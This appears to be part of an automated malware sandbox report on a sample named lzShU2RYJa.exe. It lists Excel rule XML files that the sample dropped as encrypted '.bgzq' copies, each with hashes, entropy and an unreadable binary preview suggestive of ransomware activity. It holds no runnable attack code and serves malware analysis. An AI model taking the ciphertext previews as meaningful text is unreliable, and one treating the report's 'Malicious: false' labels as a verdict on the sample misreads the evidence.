Preview:	<?xml..n.rM._.KRV.@^.vn....`.mB.z...6&r."XTF...r...4.K..Y;.......)...\|..>..W.Z.........z..(....G.[o`..nz....m........~.kn.t.``[...#%.=..4......9qk!dY......U...o.e]...^.....e...;.R..:.[.\..;. ..7..q...\| .....7.x.c....NQ6$....<\B.6...Fqk.k.q+s..~..)N.v....:.Y....U"Q..g.ng.....H..<.....p.p.8.X4.k.......,.....>.....(..4&.en. ...a....$..SW...z.no..^...%o...nqlV$....7....OW.}Dwb.MbDh..]bX.Y.W...f......Z......;.....$...u.6.+.=..u...(.6Cp..;.\q,.j:_)....<.a........J.R..Hc...".:\...0....2.h...`....U.........Hy...e..X....^..6.Zx../.......f..4=.t.prg..9CN...}L..0T.T...y}R.k`.y~mZ.>m.RP....a.......{..[.....rm.0..q.c..!...#.5..........d....g........M)..........c....QJ.=.w.c.........M..n.c......a.W2.a..\|......!,KF........%.Q...4.!.v....I4&u.vS.iW..K....\..X~8W].n_.Lg^....?H.$$,.......Q.;.!YL..Klk2.....S.... ;.%.....=.6.....U.k..?.9.Vj.w..%..-.w..u./....O.....V.i.....G.J....f..2yQ...tKr.Dtk`fU..z....O../)....J.."^q.@.D......o..qR..5<,h.. .@j...........j

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.9141604987702365
Encrypted:	false
SSDEEP:	48:4hPFjiUvSuD8fWp3Yx76KBY0L8bQCmhJeTPzuepzN25wHl2iQFFD:OhiU668+p3u6KBPCmnezyMgWLQF9
MD5:	34D3642B4B2BB16443910F0DB7ACCFA1
SHA1:	D730EA3A129F8A92461248A1A6A3F67F7FB6AAC3
SHA-256:	441F6F6914A3EEF2EEFD549A372850ECB568A2552A50D6BADC8C33C883AB3F6F
SHA-512:	B42BEDB05213AF916B30C83F58295C092B0F2CEFF0769D6F4912DF6D0F5164571DC2C5060D581C7BC7BC6AD81C9D6924C0E61222EB842092E68266FFB32C1456
Malicious:	false
Preview:	<?xml@.+'..a.p.\|T..J(.`b......g!0..i.4..U4IQ..}......c...2...^.'.q...X..]8n....;>...-...@.x[.aM.k...0...!f..f.u...1..x....t...=.8P.[.......A....m...;..%. .MA....e.UC.C.6qhd..S....%L../...}....V.<F....B\|.c.2..\.9.1..Y.V$jC.#..cQ..)d.k....<63pam07;...w.............Rd......O.=..V.fh.L...lK..au..sA..E...y.a"=.......[3..T......{}.2.D.)\|gd.]..+.....<x+.Cr=`VR../.5F^.+.......V[.T..8..x..Y:..@...&.{HCKg{t!V..."$.f^.D\|ceE_t.o#.P....M...&{...G.+I.....M..R.0p..)..Gj...Eg..2.0....UI.$.X.".r....'...H.....UV..G..{..IW....4..I...m;.u.%.'..j.......Z5..7....?a.L"B1.;I...r...8\|..y......P.xa..Q...[$...G].T...x.=F.I.b..L..T.}h.J0"....\|v....Q]..6+?.b..5...gE{>-.'n.ti..Q.......v.z.ePS.q.1ss.....[.6.G.o.(.&K..K.z.A.6)R..`.c.a.O0.((.._..x.u..v'3..:l.0p.r.g'.3D^.8...u.].-RM-C..C..f[Z.l.A...t/RS....b.7.=....d.........ea.I.pow..2F...d!?2...L. .r..$...r^.ecF&L.....l.I....~AsKD..g.lja.$A.X..;v....5mShU...:.*...._Y..f.....?+6.....^.......z.$..;..."Q}..u@.=.i

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.894318611744429
Encrypted:	false
SSDEEP:	48:BPTZ5Ye6CS93E827fKWL5/IuMYZk58lS1OHjW9RgWdpFD:BF5YGS90pG5YZW87KqWT9
MD5:	B136D787E1EB912DF05AA4B7F57A25A2
SHA1:	F5C2A21D69BC7FD7548D86C6F8EFCC06D35CAE72
SHA-256:	905F35D56EED94DC646278927192D01C6021A4EBA93D7E8C5A7DDC82CF4A7D9A
SHA-512:	3481340DB15A06CBEE0083C285E415D17B4A636074BF7F8BCD64632C29B6CE2F6EC2273B0512DA64C34A89928992B596BD66F8AECFFAA6588FE420235579B42E
Malicious:	false
Preview:	<?xmlu..Md.p...(.".h..u... .....c.t......[.iF..I...... ....+.R.,.N..&..I... v..,o.+.&{o.Ow.SS..v9zLZ..mD..T..6_[..].$t.w........n.m...m[..~.;C..U5..%.........l).>.V..5P.........\o..F.....X...\|...?.E.....Dv%u.MR5.{q...U...X..LO5..;....MSFX.S.b.u.......w>.0.}E\.I.n.$.{...M..Z...%...,...f(h8q&..9......0n......E....-.3P...m.....<R..{.:.M..aa./b&..o..n9>...LN..Dk.<^j2;.SK..I.K..rOw..3...\|.c....{..0q....._)]...........K.+P...x.....q...'%.&.Vc$q.._{..(..W.....u%..~....d......g......@.h.%..:..T....A.D..P<....H.*.x.......=&.F.85.}.ePU.....z.U.......r ..K......8.q.F40 k..}&n.c.....Q...xa]t..3.O.(.7h.._.^..M..-O...a.1.....j.e:...t... ..ggn..f..$...K:.........<....q.^tr..P.n....UQ...0?mc<gn.....m ..ch.I..6H....wB`.u..XRH.,..g....&\|...LzY.........J.......y...._....:l..Dr._qQ@.}e.r,.+..KD..&.{.)_......:...2.#S.T.y.'.r..j]..hf.w.d..N...n....)...G.....A>...o.\.I...s...J....\|....-..+N6A...H._at.._i./I.s..'RAZ.<.Q.3...[..o....1;..o.#U.nF>.j.....(:...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.878373029588567
Encrypted:	false
SSDEEP:	48:LibZ0li3xIaYb1pZSFW9VCBfEm4eEePwus0yx4IFD:Li9z3uaY5TMa0a/eX4F9
MD5:	52E9D87F68553A03C8B7FCA661AF58CE
SHA1:	03799F409C85C4D97F65066F1C7B4D6E15527A68
SHA-256:	4328AC6DE6242D35C74E5136FB8AE899C6EA4ED0E3D6BF6337BADA16E83CBD8F
SHA-512:	227E810D4F6A7D843279A455327CA9BB73C9EFF7169ACBAEECE98F511F48B23A34805C0A476D35D1A5060645229DCD0CFB42D611D6AFACABB601D57FA396A70F
Malicious:	false
Preview:	<?xml..(.....}P..[.E.%...'G.h..(,x.N6[Z...Re...$_&y..hr..YX@....E....8E..PT-.]..!..N.......C..3.ev.....L..N..L..ao..LCf;!a.%...\.3J]...K...O.....D..'G.p.b.L).}_^.D..).3.&.k.~...x]...i_.d......3......(`+..d.h...1;.v#W..L. K.F[.:.....:.....P..8..}I>D.tT.i".....Lr...:.Q%HP&...{vyT[BAT ...G,.....U.7.w^L ]&..2YA.;B....c.,h.P.".1O.....z..u@<.\|.\@$.....gpr...@/.. ..=..B.....7.:..9.V..:...69.n.$.p.1L."GV=.e`...t'...\|.......#u.9.....+_...!..@....ML....]./.RACQ..J.n..@.[........%b25..wp...".$.M9~E.....R.=.}!.c.-#..E.K...2-.s..#N....".......<.......Y)..a.h.......aSr.H\|...l.....;7Z[.4..8....ou....d.N0.....\|Q...4....79.3.qr:~.o.=...W5....%...)Y.Y]...~.2....X..\|..........G...0...:.kR.....)_W...U..%0.Z.5; .~..jx....+......t..V.J..rG..kBKB..5...x..X.$...G.9WV..}..8_...m_8b=....\%.T7.H..........s<.%$.....N.n8..H..V5.m"....h....K.hY.c#..;..E..!h.,U.HB.....bY^^4".<K..5_.u.P.D..0......Zz.[.WW.4...........qm.j..._?$...U..(X.X/ X.RX..l......./.:.m

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.928573263893152
Encrypted:	false
SSDEEP:	48:BEznhu10XrjHDxbhh1BlBiZR2s+c8ej0zFlidLxjGQN911lKjFD:BEbw1a1bhh1TBmRQcY5m1GQNDLKj9
MD5:	94F9573DED4A3BC14458826C46612A84
SHA1:	F193643F5F5C5334DBF3A73870B7D06EE73543DB
SHA-256:	FD297BF310A6AE594731E7BD0763D51808A72F4699E57E62EF0E7E0DD4A8496D
SHA-512:	E7E44E7890EB179B8E8E4ED3ACD5244EBD80DFAC8E130BEE4EDD3FB3DF800FC9690A4F337EF9F66B5BCABF7CD3AE8CBED3999BABCA56690D38083E832C621E52
Malicious:	false
Preview:	<?xml.;.-.Ju[.0.X.v.7..X<....+.o/..H&...q2..+c...;..<.cQh.[..a..?z.xs....M.es{R....5..x.........R,~.+..Ac.h....-5...G...u_pt1.~..P.u.w5.<...3A3QrE?.M^62..{w..i..i,...w..Li...Ax......!......S!.....&.R.L....$+z.^......!5.........~.".&a@.* f6..^.a..v..=lSu;.)94.e/).5.h.....^.!....J..q.C..7.'!.`.... K..o-.b..%..\....j..y.2..2..N-...x..`......<v. .......sa%...i...+...X.e...oH.uD....v...A....D3..P..(Ld4...D>)e.....t..%..>.......%...5...!.D...=..^Q.Ly-9.)@....6.6&.oK++J.+..7..6.!.@...{Z.P..E..T 0N/.H..rBf.[Ft...0..%...;....LP2@.)..N.".P.H.+.3bW(.#.....NL.O.......~.fB.u.....!.{.0.../..rD<.].;....p)Z.....0..w..wVHgT..\|.n^.n.Q......).1....8..#.....P...~..~....2.....U$...-Z.R.......T.3.3...D....2x..?g?9.~72.g7....jm..u.N<W;..4..\|FRH..<..F7....P.Q..Z;i}fZf....6..@........}.9..A.....d..n..y.o...}...V X....=.Y..~.h.4.....,]...GdG.b97...#I.\|..v3O.\|U~.ZVEE..roDrX.D..M..pgJ.v.5LZj.ET@.. .A.)...H.&.@z>.TXX+X..nj..~.W^.e......M,m.4..m..".b...r*%q........

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.949754993003274
Encrypted:	false
SSDEEP:	96:I5kRCNhQymgkuBF07M+Tdrv88/ZLtDrbyFN9:I5kAUgkTY0djxS
MD5:	E9A914000EFEB8653C9D3CF7351A7F47
SHA1:	45021F51FD89D0795823AFA2F2FF1D1C086EBA02
SHA-256:	8132A3C36489826222B863D3F7755AA416B1951B4224B0FB81C879B0D975C4D9
SHA-512:	7D5E0C868A60A3B6FEFA2A768216D1DD61376817AF1DDBF9849F5D05F27AFA8B112A08AE945A97D0A0C5C2FACCA70B43C8C098228D2B5EB802EA2611B98F8543
Malicious:	false
Preview:	<?xmli.;O......H.qa....c...-db.F.....7.L&gq8....Q-.4v-...4.f.b.....Q.^..D.Xs.`.....J;...;l..........i.X.MN....m.F.FRl.......;Q......1p. ....t[.....B.u.A$_..z.?n.b........~L.?w. ...H.3Y1\|;OKp.L.L40.....h.p..Nz..5;.{.......N....!...._xCY.T...8...}fF".Y_...(K.im>.._.~.S...YyVA.?F..2.`.i.4...[\|.^P..G..c.!,..^.....@.V.9..r......A..jjP..G...x.....?....g?...F..-D\........i.V.=.)l..\?..g55J...rb......d0.=...Q..<..8S..=..1.?.2..Fm...3...e.c87.D..2.i...A-.K.+..@....Y....q0."s..kz...?..Z.h.=.....f...........,..a...@....9.*.\.-..`.._..Si......0.. ....9a&..'....7......M..p.......T...Z.gN~.f.p._,..x.S....g./Z7.j[...Z.......y....-......SX$..{.^....4.gg.!/....l...S+.F.r...............Y.u.'.,F#N.{:...M.....l.H.....4<.6e.KVa'n.9.m9.....o74S..l.H>.._w.wD.#...$b..Wd...).7....U.2.<...+.O.E.i.ZO...IU.((L.4.....`G...K.;fL......[..o.h..~...._../....8.?ag.g...,..W...Q.......u..\'.,."..f^..HgI..<.D..=z.}:.A.f..+4.tp.?.x..bU....w....n5n..Vh...fL.........u.:....(....s..{

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.975002852924272
Encrypted:	false
SSDEEP:	192:wknSJ9Ymrm2Zf36l5uSBOkBiyxpRU52Thwa7jVWd6KIU0:HnSJ9YmrPZfKl5ugOYxTUyhDWYV
MD5:	A362F90C77AAADAC94F1F38E23B0639F
SHA1:	921B34E3365DD13B83855AC22EDBEB1BC089854C
SHA-256:	54338D61CF6CF5C7EE9A1205DDE97F85FF1ABB29CC8F8FA27FEB4940957108A7
SHA-512:	08B4D7DE64EEC159AE854EFBD6AFEB141E96C38F898C2C9AD14BABF9251A12103CB463B686F7A9C1680BB2F0A3DA61EAFFE7DDB7854E1D3479B947E10483FC8C
Malicious:	false
Preview:	<?xmlM.i.....s...._..gv.. d,....=.6....QN...........pc.z....$.......s.n&..........~}bx.B....S..VU.p..:.8...4.(. ......y...3z....nF.m....i..%g ..9-B.j.'...-^+.+...y....g....+L.L.s.6~.m..Ju.y..#/..Z....!W.q...,d...z..o.5..C..2..<fL.$6/.HbW...M.o..\.\..A.t+_.l....4..O....k...?......&.R...I.Gii.....(z...q"{.n{0.?....W.Qw.a$l.D._...h.x.0M..!9..#q...l.....i.W.sS......?..XW+..Hw.tX....9.....ErWa.-....J.....)V-.j.N..#.l.-/...T.J87w_J.ib....6U].%.YS......i.~2.G......d}..L.Ww.Krk..#../B;q.....!C.....q......A&..U..sD..&A.Q..-.l...C..RC.q.$...t.....V?......n.....M.~.^~...p{)./..Q....].g.H......\|.m{....a._.......)... ..I./....x\N+#.)..x$.d........]s.@..D..~.BL..A...3..\S.Y.6$.w.9_.u.X.k.h.s.M.C0@...R...x.8.`i.f94#.k.t.),L.9.2.k+.d...5.;NO..ELp.L..8...._..$/....h...O.....!/Y.t.....o.n(.X{.8R..(.j.`..qa.[~3n...v..T......~.7...e..b'...N.:...\|....,..%.Qz....K~jA.Bh...j....S..W.....j.4...@R.zN....sd..d.....D.#...b4.780.J>=.......98.......?..#..>

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.942231643373782
Encrypted:	false
SSDEEP:	96:LPcdLzzRempWdtacKhyKFL+9SU/2+JcyzcryA+xNY9:L0dLzzRBw3a5tFeSq2+ZcrSw
MD5:	D26F5FDAEB925CB9169713441132FBAF
SHA1:	5A8580315127152560162B28205A700AB6E72851
SHA-256:	7726251860669010FE8B87ABF7489C469813480F479DE66E69EF31B455BF3180
SHA-512:	C278CE27620294113FA004502E2A4BFFBDBE7D8E4528CF75FA3EF957174D57C6649AAB3CC1E09745710A3559C14CB869514276E5CBA0387D4599C23285613F18
Malicious:	false
Preview:	<?xml.-.D...p.....j5:c..N.....9kT......G..9t(..:[{...=vK.n.A..].HP'..{.....7W...i..R...1..v...1V..Q.r.p.L....m.....:.R.....1......N..F.....2...t`..&Rn....&.........;G..........h..Q.....O...+...K.9.>{...I`....[.b..F<..........D9..........fMW.Ef...W.!Q..J..[.!.$p.tN.y..d>.Z]t..y.....o.../5.h.....Ly.D....i.g.".. ..HfD9...vBdp..1...;...+5P@. .IW..&$In.-JD....3..t... ..v..XE..o.tD..#wGS.....i.!...?W.S.....)N.2.......O.<....5@T........W.t.A........ ..fd..g&p..a.%:..J2H.........!)./f:8.2.'G.H..3..4@.k..C..\..q..^....$...C.`JZ.f)....L(0......?.\\|R..._uqU..qp..X.(..,.:....w.i.U}c.];...}n.z;;B.-d.n......\u..\|S.B...L.(....C.-.f....~b.0,7Tt<........6..D...C.?.....u./J.i.,...=...4.F..uZ.o<qI..Ez..tFd.>S..J....6..ir....w^$g.....4...........=.\|.....e..>+.........l.j.hS0....5"k.....M[..h.m[..W.2w...a...}V.y.\|.en...x7V..q0T..1z....L;....$r..$....k..W.j.7y.N.."'..s.^4.3.{V.[.,*.f.qz7._Oo....`f....`.f...W...W.B.Q.......PM.W...p.H?....lE..K.l..lr.l

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.949391429255559
Encrypted:	false
SSDEEP:	96:/MmTHzeNgmmyYw2ByAceThZcsfBIdrO4XQdr9Ks9:/XHccA4+chZcZdO4Arb
MD5:	3274E75A9A79D353FE1D827E32A64890
SHA1:	4A5CBB86584E2129DE79D413F7657DE20921F760
SHA-256:	DA9400BAF9408E6713A077DCD1C6F41D97EAAD5504F2B8FB267B022F27E62C8F
SHA-512:	3D335BFD4BBFB20435806D8525721D1CA8148E5443C5FDF4AFA0359BB53BBC8C9A528A88FD8B3301B70DD1F747136AFDC72CA22E6A814F02057A42C5213176B9
Malicious:	false
Preview:	<?xml.I......O..v..O5C.....................A..('.......pt.t...m.u.c..aA.j.dW>l.`.m...eK.....N......_..Zg_"S^Dv.XhG.l.k.kV(..1...y..$f.a...5x..R...FA.s.,.mC6.\;j!..}.e...m..%$l...P`.S..%.[J...K<_PR..t.....WV...G...r.p.....I..>...U}...,.eW.0........".,o..=.}.]O....P.E%.c..w.\|Y.L..t}..^...]...u.+qQ..f.h#/...P...'.E..D.$`.(..!.7).X..c....>............?.Q.1......9.?_."....R..]`...W....P..[]..)jB.r.+..'w0./......J..Sj....O0....'..yJ@....P._.+.N......N.._.)...l..[..~.D../....p..V.....::g.q.....Dgl...7.F,.......\|.....p.... w....52...}xf..%@.......)}.@]..'C....X.3..?..Y...+.D...o]....N....n..._...rk..Q...4.F.F,.oO...Tj.NFb.U..u0B.......b.?.]..M..)qf..%.N..........k6.U.KL.....Qmx+p8...FL..q...w.i.....U.\}...{)5...z..Z..J..i..U.F=h........y..7[....7..x.dK[...`x.\|.~..Cc$.,..o.....T..>.....-....s#v+.q........e.N..L..$CbZ..........;...Df....1.4........!..;.. .......".1gv/r./.F,V.2...].\.e5vMk......M..[...B..h.".Z...WQ0A#..(...G.`.cU.3.\b.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.933816474527455
Encrypted:	false
SSDEEP:	48:sOyMgo89e/CsRoGnVjqOrEAqdUrMD0ybY9mpQfvFGcxueCwIoQ51C+/1s+MwYk5a:sOyDoJRnnHrJqdOC0yb7+fNGcPCwI75A
MD5:	C21901B71B2F4B2926FE5F7215E92741
SHA1:	C70F02B7B44229436A0F0FBD4AAC8862FF4F3E90
SHA-256:	644CBB69CF3CA7235D35D61D099BF92F6E1FA54BF7BD405F4603CB053A6F2F76
SHA-512:	6C74367D1B7D4EF7C978B94A6CCCFA446C76BA9BC4B2A3AB6B00CF337C3EC8D64A32793844D0CF6A143E26A61CEB12D4CCF12AC396C61579C1B90CBF31B9A8A8
Malicious:	false
Preview:	<?xml.?.h....1$./...s5.....t..C).A.......\....p....h4..hr.....b.D.m&.{....i....#.......=..F).2..... ..x...e.8.$...N.J.vY.m.(..,....D.L9..\e..wp.....M...\|....A..r....z.C..J.53.....6.O..d...a70.\.q..b..q..B...s~.........V.V~..F'".Zz.m.w..s...thi1&0.%.>...}.....p.....TcY..o...@.^a.8..D.(.R...X\|f...<..g..=q.DD.z.4...R.i....#.......r..I..k.....cnJE.....`".C........I.7x.WY85A.....5..5.}..Ao.c.{n._Q.~r.5..B.Te.,.d..~.'...q......$f...S\|.....l~#qR{....&...1K..p'.z<...k.e.I..s.r_.f&.A.9Vnyn...Q'u1.T]....?,cqv9...q.h..@..^..y.>~.....OE...z.G....,...n.........\L2L..%I...W.:...W.J...=...p.L[Ttv. ..7'j..P.G00.......D!..1.%.+Z.Q.C...M...,..2._...n$.NF.U,i.g.C.y...RR.Oj.,S...~..g?e.LNG..j...a`..b...Q...n`P.Q2.H..PA....:i.K.... .[.f..t.{9_....1....S+^.i..m...-.vecF...x]..#S>...:.#55:.<$.Y....}.+...H..%,.u0.i...i.l.Z.......r.!.g....J...Nfi.......aY.j..J...-0<...R..h..\,...;".V...'.sUj....Hl^...^\..l.T..R....U.......y....V....9.f.Z....tm...M..-.p3..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.9278277696498
Encrypted:	false
SSDEEP:	48:nhH5U3SszYJ9DnmF5+B5IdN9e5JJxkFVKPJLLGJIy3F/jcFD:nhH5EiR45lNSJZJX+5FLc9
MD5:	922DEBD718DB354467E5EF74672E64FE
SHA1:	E1322B2024BD42DC2F1BDCCD274EF3EAA610EA5D
SHA-256:	E146BE37D87D707D3ADD0DF390B1C71065B8E3D8D925152E5EFFC80BEFF6B594
SHA-512:	99806573718A948AD302C432C65705B22E060D920BFD8ADFEE6043DF815AEE63A18BFC91600CAE6A437146D88DA3E7F65E633446E94ECC5556D2256B1C70FF1D
Malicious:	false
Preview:	<?xml`.........lEb.F.m...v....$..f3m..Xl...(.z.5h...]......7;}.b.4.!....X{XG...Uy....1S^.Y....a^p....OC.....VL.....P.2.I uL........U....t..]...'.7..3%8.13.\|.L.s"#.{.-'#O.u..:Z.E..s..x<.G.k.......\..;.....z....^q.....?.-3....7.7]&.@}...f.........V...#..R..W.....c.u..p.w.w!Y.p.e.j.j_uPn.6T......`...=..-...l.Q...... .W..c..y.[Y.'1.....~.w....C.t.....'.$...eC:.9...[...r.R..ZoisP$`.r.....w.....(Wa.p...v..3.h`o...Q.oI..EGKQ....#.Q...Q.....e...]..f.<.)6.\|.......O....<...t'^...0...QioSR{.[.w8......$....}@1...?.1Es.b8)(w.....v.n(.TE..4.%O.b...!\|A..7#.\T.O....&m.+..PX.....9..B.Qb.TC...T.s.k.[....sT5.7.._..&.rM8.1..KD.8zg..t,.p..B._.2#.p\|...Wi.....jX..)a.=.o.2-Q....A........j 5.^..nM.L.q..]..qDV..]..1....f.......7.3........R...ps./.f..H...~. +0}. .f]...v..]O....1....;L.i...&. .e..U;..4...%.).N$b.=F.C.k.~.,....z...Q..*,&g..c..d\|.8\|rB^AhE..=HT}..7.....c_,=GZi...U.'.....\.......o....2..k...M5..4...)......S..!...P......]?...j2"...4...AL..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.684445381204505
Encrypted:	false
SSDEEP:	12:wP/7EqQPncx0HrcS9Dl7J2ulN1Q24qaPRJcLNEC6tNeC4oKzyd7D1UqW0AjVciik:wn7f8n//suz1OsLu5XeCZrUmiVbD
MD5:	3AB88BC5DF9AE82E2A4ED76456F90075
SHA1:	24B9F4495A93F5FE66EA3103DD3799AECC8A3FF4
SHA-256:	06DD55C4DADCA51D344952E96FE251CD60E05073D16F713F106582E1A315EF11
SHA-512:	3A4F4DC3A382FC0BC4F794A9319B86DF792D3606928A8489612324F7A6500002E0BBC7BED9B79CA83DF1E4DE66B6446383FB311810F5DA8417C42221A6AFB20B
Malicious:	false
Preview:	<?xml:..:.o.....)iv....$Ru.8..g...t.oz..}.....x<.5...p.O).b...B.N.!E.....VP....87..m....G..R..w..3..[.0.Q..z.2w`U.{=W.`p/O.......bC.;[...o....Y....?...t.bk.Q`.....d.tl_.....5_:..-ON.....K....-....R..,...;U..^Qb..a.\|.o...E...0$....+wK?..........(.j".$y...D.K.h.";.`S&...a.R..].;U9l..mX.J.u<$&....Ty.....;.z..';>..[S.Q...;.J.3...Q....G.4..\!...V..ze..l......t%..j..k..\|.hW...jk.S..5...[...<..h'..M.L..&..q..E+VWQ.M.C.$..<.....\|~p...J4%..FF..E$...Q.:}"(...\|.[...(=..L..!..s."..h..Se..A&.._./../...R..T.!.,.ho.. k..&f<........G9.Q.f.r.k<..?..:...LK...N?.......l.o...S.1\.,.}G..+q.._..\.8:..N.9...!.[.T.&>I.5..,.t.M#.H&.W..P....?.D...V..^....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.830881287949479
Encrypted:	false
SSDEEP:	24:+4eigHpUMuYHhcdylbMivETeI/WAalZ5G82v0jlwWvoxyd1K/4w68zVbD:+zHBBbMfT90G828DCkI4p8zFD
MD5:	5256EF9A9779749BA31A2B6CC3E91E60
SHA1:	0A53BE8BDC63C5F8AF7CB2DE10F4128B6AA5C43D
SHA-256:	3FE7062311721CB763F900E2736C003E647AAF520DEF07F5C4D69F46F8240DEE
SHA-512:	1BAED73A0A7BEFE93717107E7B3207B7F61DA9A4242DB2F4E438317F4EA865F576FF2EB81C9DDA3CB73B8AAAF5ABFFC62F75C866FC86F7FDE71FE0F9371CA357
Malicious:	false
Preview:	<?xml_.....&./,'.ep.ZS.@.d.b..B....nN..!....=.~^M...y$.E..8(.....@....+D0hO.'f..F.~..m.a..`r."..@z...d. e...3.m3...H..v..0/....Esg.u.4vQ.N>.p.e.4..Y"....0...1-...e.O.bm...c.Y..D.).~.$U..I...jL.%.e\.....:Z...X....qK.$0}..4..Yl#IV.Z@8v..J.......-.r.F.......oP.`PJ `X@xM..&&[!....8..(...r.........6).(=U.!......e..).FL/.Y......zez...Zq.I..[....NY.~5..U....M.w..1.pap.l..G........b<.P.T.w..."..Z...m....Hp\V..O....:...F...d.....".g.O.........,....#m....{.......:.....w.X.5".@....vc........peF.../...zO@,m.k%.......ut. .....u.M.J,w..^..@5...Qf...%.Y......8.z3..bj5?....w% .#w.G.Th.rp....c...2.X.:..<./....LC.m..5.....0...G.W.Y.\|....(.h..1-......B.....#..0.O.#...<...".#..IV....aI...Q.Y..X.c.m.{R.vU......j.....1n..}%b.T....HV'.....=....$.._.X.IL...3%.X.N..x...y......Ad+.\......S.(^..D<#...(.....p.4.-9rdO.n.eC.U.=........0p.A..!.W..ly.3.x.^s~6.._..j..W....*...A)h...f-9..M..mF.Gu.`+.Ag(f..F\|..2l.;.q.M.+Q. .x.2..(...n.X~.2.P.U......k)....$.0[.-..l..E.D;..d..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.570613672400538
Encrypted:	false
SSDEEP:	12:gyNw4OPEafCtguDT6Rf5Ve6DU1YMujVcii9a:gyNpyEtvTWa80jMVbD
MD5:	E5A2017F7298EA3D529871820A00F0E8
SHA1:	8091173817549BBE556328BD210F2D134ED7CE0F
SHA-256:	B14DF6BEB55E086DD067D9CE7F1D8673326D9E23A1244473A236A22F8D812DAC
SHA-512:	2CA315F20D5C8CCE6EE5E9B80AE4C3A8D7F914BD9760B55E3CEB8BDA8067E1D1617E8CAB5CAEC0933AA93178B0BCB645E0EA8F6414C3C87CEA23CDBCF8616140
Malicious:	false
Preview:	<?xml.U)V.....x....>..>6........}.....X..5u.B.Sr..[`f."....,..]..._b~.x..b.:.Icr.V.Z....W...s..x.U......S..V.U..0}..&...e]H.?K..Z.K[........e....N.n.H8...1D..%....A. .^.(2;.Q.-....V....v.pY.&-&..t..=.h.u..07N............eeQ.C~.n.........^..5.i...}3D..M'.{.c"......._.9.?...Z;N...4-.....:..>...Y$M.....C..'...W...@..Xdy.u....6..X......m.uB..FW.S.:.".G.gnB.G.....C....A>.....EA ./.+m..v.a,@+.. N..\|.%..5..c........$e..c.....9....q...Nk!$itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.933515635449678
Encrypted:	false
SSDEEP:	48:v9HID1zFeFvbdxL0JtG2jABNoagvdcwj07F7I0D2oBzWkUiFD:pxLE/Mfiewj0h7AoBzWkUi9
MD5:	E23A76E33E9BD3E80326B2EDEF22015E
SHA1:	7818F17581D7120E8F6BF01D6B0EDA0BFA6731CB
SHA-256:	B21ADAF269DE3C7D2B4EFADA81EC6A6085710AAC4BD2CEB4F43CAAAA8DBB613B
SHA-512:	CF3CF2B334A0519A8B11BAE0FA49863FAAAD4E5922BA402DE9F5025E07FBF2B9E19290651BAE31009D7ADD013298D914D92BE512A193A7FAB9AD814DC5B34460
Malicious:	false
